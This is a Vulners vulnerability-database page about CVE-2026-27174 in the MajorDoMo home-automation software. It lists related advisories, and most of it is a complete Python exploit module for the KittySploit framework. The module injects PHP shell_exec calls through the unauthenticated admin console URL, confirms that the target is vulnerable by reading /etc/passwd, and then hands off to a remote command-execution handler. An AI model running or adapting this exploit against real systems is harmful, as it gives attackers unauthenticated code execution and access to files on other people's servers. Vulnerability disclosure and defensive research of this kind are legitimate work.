MajorDoMo Admin Console RCE (CVE-2026-27174)
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| CVE-2026-27174 | 18 Feb 202621:10 | – | attackerkb | |
| CVE-2026-27174 | 18 Feb 202622:19 | – | circl | |
| MajorDoMo 代码注入漏洞 | 18 Feb 202600:00 | – | cnnvd | |
| CVE-2026-27174 | 18 Feb 202621:10 | – | cve | |
| CVE-2026-27174 MajorDoMo Unauthenticated Remote Code Execution via Admin Console Eval | 18 Feb 202621:10 | – | cvelist | |
| majordomo-CVE-2026-27174-poc | 12 Oct 202612:34 | – | kitploit | |
| MajorDoMo - Unauthenticated RCE Detection | 28 Jul 202611:27 | – | kittysploit | |
| CVE-2026-27174 | 18 Feb 202621:10 | – | mend | |
| MajorDoMo Console Eval Unauthenticated RCE | 18 Feb 202600:00 | – | metasploit | |
| MajorDoMo - Unauthenticated RCE | 14 Oct 202602:05 | – | nuclei |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""MajorDoMo unauthenticated admin console PHP execution (CVE-2026-27174)."""
import re
import urllib.parse
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'MajorDoMo Admin Console RCE (CVE-2026-27174)',
'description': (
'Exploits CVE-2026-27174 in MajorDoMo: unauthenticated access to the admin '
'PHP console via /admin.php?ajax_panel=1&op=console&command= allows arbitrary '
'PHP/code execution.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2026-27174'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2026-27174',
'https://chocapikk.com/posts/2026/majordomo-revisited',
],
'tags': ['majordomo', 'php', 'rce', 'unauth', 'kev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/cve_2026_27174_detect'],
},
},
}
def execute(self, cmd: str) -> str:
php = f'echo shell_exec({cmd!r});'
path = (
'/admin.php?ajax_panel=1&op=console&command='
+ urllib.parse.quote(php, safe='')
)
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('cat /etc/passwd')
if re.search(r'root:[x*]:0:0:', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2026-27174 console execution confirmed',
'confidence': 'high',
}
return {'vulnerable': False, 'reason': 'No command output', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
6.4Medium risk
Vulners AI Score6.4
CVSS 49.3
CVSS 3.19.8
EPSS0.05223
SSVC